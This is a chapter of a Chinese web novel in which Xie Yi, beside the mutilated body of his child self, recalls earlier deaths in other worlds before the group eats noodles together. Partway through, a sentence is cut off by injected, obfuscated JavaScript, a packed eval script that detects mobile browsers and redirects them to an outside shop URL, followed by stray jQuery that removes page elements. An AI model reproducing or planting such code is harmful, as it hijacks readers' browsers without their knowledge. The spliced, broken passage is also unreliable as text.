客厅里的晨光依然亮着，但所有人都觉得冷。
那具小小的身体平躺在地毯上，灰色T恤的下摆还卷着，露出腹部那道细小的切口。谢意跪在它旁边，掌心里握着那只小玻璃瓶，瓶子里的淡紫色沉淀物在光照下微微泛着光。他没有站起来，也没有把瓶子放下来。他就那样跪着，像一尊被时间从内部掏空了的雕塑，只剩下外壳维持着形状。
徐晓站在几步之外，眼镜片反着光，看不清他的眼睛。他看着地上那具身体，又看了看谢意。他开口的时候声音不高不低，像在做一个实验记录："看着小时候自己的尸体，你感觉怎么样？"
客厅里安静了一瞬。
江野猛地转头瞪他："你他妈——"
"没事。"谢意说。他的声音很轻，但足以让所有人听见。他依然跪在地上，掌心合拢着那只小玻璃瓶，紫眼睛垂着看着地毯上的纹路。"……不怎么样。"
徐晓没有追问。他站在原地等着。
谢意沉默了几秒。然后他把那只小玻璃瓶慢慢放进了衬衫口袋里，手指从瓶身上松开了。他依然跪着，但脊背挺直了。他把手从口袋里拿出来，放在膝盖上，然后开口说话。声音不高不低，像在陈述一件已经发生过很久的事情。
"这具身体不是我的。"他说。
江野愣了一下："……不是你的？那它——"
"它是这个世界的我。是这个世界里一个叫谢意的小孩。这个世界的谢意没有经历过我经历过的事情。他有一个正常的童年，有爱他的父母，有普通的生活。但他被这个副本选中了——然后被做成了现在这个样子。"谢意低头看着地毯上那具小小的身体，眼窝空空的，四肢错位，嘴角残留着干涸的血痕。"它不是我。但它确实是我。"
徐晓看着他："你说了'这个世界的我'。你怎么知道是'这个世界'？"
谢意没有立刻回答。他伸出右手，摊开手掌。手心里什么都没有，但他看着自己的掌心，像在看一张被折叠了太多次的地图，正在缓慢地、一折一折地展开。
"因为我经历过。两次了。"他说。
江野呼吸停了一拍："……经历过什么？"
"死。"
他说出那个字的时候语气没有变化。像在说"吃过早饭"一样平淡。但他的紫眼睛垂着，视线落在地毯上那具身体的轮廓上，像在隔着很远的距离看一件自己曾经穿过、后来被人拿去改了样子的旧衣服。
"第一次是烧死的。在很久以前，在另一个世界——不是这里，不是孤儿院，不是现在这个现实。那时候我有一双紫色的眼睛，所有人都觉得我是不正常的东西。他们把我捆在木桩上，堆了柴，点了火。"
他伸手指了指自己胸口正中偏左的位置，那里有一片陈年旧疤——他一直以为那是孤儿院时期留下的烫伤，但现在他知道那是什么了。"烧完之后，我在那里躺了很久。久到火灭了，木桩焦了，雨淋了，地上长草了。后来有人来找我的骨头。没找到。"
他停了一下，然后把手指从胸口那片疤上移开，落在自己眼眶附近，在颧骨上方虚虚地画了一个圈。
"第二次是紫色的眼睛。"
他抬眼看向窗外的灰色虚空。晨光从外面照进来，落在他脸上，把他眼下的阴影照得浅了一些。
"第二次在另一个世界。一个白茫茫的地方，什么都没有，只有我和另一个人。我活了很久——久到时间本身都变得没有意义了。后来我觉得太累了，不想再继续了。我把眼睛挖出来，交给了那个人。让他替我拿着。然后我就死了。"
他说完这句话，把伸出去的手收回来，重新放在膝盖上。他看着自己的指尖。
"第三次——"他停了一下。第三次的记忆是空的。像一张被撕掉了大半的纸，只剩边缘的毛边。他记得自己在孤儿院醒来，记得走廊里的消毒水味、铁门、水缸、烟头烫痕、冷饭。那些记忆是真实的。但它们的起始端是空的。他不知道前面发生了什么，不知道在孤儿院醒来之前自己在哪里。
"第三次还没开始。"他说，"或者已经开始了。我不记得。"
客厅里的安静持续了很久。
江野的嘴张着，像有什么话堵在喉咙里，但一个字都推不出来。他的手还搭在谢意后背上，维持着那个姿势，指尖微微发凉。许清寒站在沙发另一侧，浅棕色的眼睛看着谢意的侧脸，他的手握紧了又松开。林安诚蹲在几步之外，灰兔子抱在胸前，重瞳安静地看着谢意，她的嘴角抿成了一条细线。
徐晓推了推眼镜，声音比刚才低了一些："……你说'不处于同一个世界'。意思是——这些死亡发生在不同的现实中？"
谢意点了点头。"第一次的那个世界里，我有一双紫色的眼睛，被当成怪物。第二次的世界是白茫茫的，什么都没有，只有我——和另一个人——和一个被创造出来的无限循环空间。第三次的世界就是现在的这个世界。孤儿院，城中村，系统。但我醒来的时候已经在这个世界了。我不知道前两次是怎么跳过来的。"
他低头看着自己的右手小指。那圈红痕在晨光下清晰可见，像一道被反复描过的界标。
"我只记得这个世界的记忆。孤儿院，打工，负债，系统。前两次的事情是刚才想起来的——在看到这具身体的时候。"
他把目光重新落在地毯上那具小小的尸体上。眼窝空洞，四肢错位，胸口的裂口边缘干缩。一个属于"这个世界的谢意"的身体，一个可能曾经拥有过浅褐色眼睛和正常童年的小孩，被折叠塞进了沙发里，变成了某种用来封闭信息的容器。
"你们问我看着小时候自己的尸体感觉怎么样。"谢意说，紫眼睛垂着看着那具身体的脸，"不怎么样。就像看见一个被修改过的备份文件。你知道它曾经是完整的，但现在已经面目全非了。"
他从地毯上站起来。膝盖在地毯上跪了太久，站起来的时候有一瞬间的僵硬，但他很快站直了。他从衬衫口袋里掏出那只小玻璃瓶，在晨光下看了看那层淡紫色的沉淀物，然后重新放回口袋里。
"这具身体留在这里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814550|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。不用处理。系统会让它消失的——或者它会在下一个节点变成别的东西。"他说完顿了顿，补了一句，"但我已经记起来了。就够了。"
江野从地上站起来，拍了拍膝盖上的灰。他看着谢意的背影，开口问了一句，声音带着一点嘶哑："……你说第二次的时候，你把眼睛挖出来给了另一个人。那个人是谁？"
谢意沉默了一会儿。"我不知道。"他说，"我记得我给了，但想不起他的脸。只有一道影子——很高，黑头发，站在白光里，伸手接住了。"
他没有再说下去。他走到窗边，看着窗外那片灰色的虚空，紫眼睛在灰白色的光线下显得比平时更浅了一些。
客厅里的四个人各自站在原地，看着他的背影。林安诚抱着灰兔子走到他旁边站定，仰着头看他。她的重瞳在晨光里安静地转了半圈。
"谢哥哥，"她说，"你现在感觉怎么样？"
谢意低头看了她一眼。她的脸很小，重瞳在灰色的背景里像两颗沉在水底的深色石头。
"饿。"他说。
林安诚的重瞳眨了一下，然后她伸手拽了拽他的衣角："那去吃饭。厨房里有面条。"
谢意看着她拽他衣角的小手，看了两秒。然后他转身，朝厨房走去。走了两步他回头看了一眼沙发上躺着的四个人："都吃。"
江野发出一声短促的、从胸口挤出来的笑："行。吃饭。吃饱了再说。"他迈开腿跟上去，经过沙发的时候刻意绕开了地毯上那具平躺的小身体。
许清寒和徐晓跟在他身后。林安诚走在最后面。她经过地毯的时候停了一下脚步，低头看着那具平躺着的、和她差不多大的身体。那具身体的眼窝空空的，嘴角的血痕已经干涸成了深褐色。
她蹲下来，把自己怀里灰兔子的耳朵轻轻拉下来，盖在了那具身体的脸上，遮住了那对空洞的眼窝。
然后她站起来，转身朝厨房走去。
厨房里传来水烧开的声音，面条下锅时滋啦的水花声，和江野翻找碗筷时柜门碰撞的声响。
窗外那片灰色的虚空开始重新泛起一丝极淡的白，像凌晨褪去之后露出的第一个模糊的光晕。空调的低鸣持续着，混着厨房里偶尔传出的碗碟轻碰的细响。
谢意站在灶台前面，紫眼睛看着锅里翻涌的水和正在变软的面条，手边放着一只空碗。他的口袋里那只小玻璃瓶贴着胸腔内壁，像一小块冰慢慢被体温焐热。
他把煮好的面条捞进碗里，加了一勺酱油和几滴香油。动作很稳。他端着那碗面走到餐桌边坐下来的时候，其他四个人各自端着自己的碗，在桌上围成半个圈。
江野夹了一筷子面吹了吹，塞进嘴里嚼了两下，然后含含糊糊地说了一句："……面煮得还行。下次多放点盐。"
谢意低头吃面，没有回答。但他咬断面条之后喝了一口汤。汤是温的，从喉咙滑下去，落在胃里的感觉踏实而缓慢。
窗外灰色的虚空正在一分一分地变白。
白得像一张正在被重新写满的纸。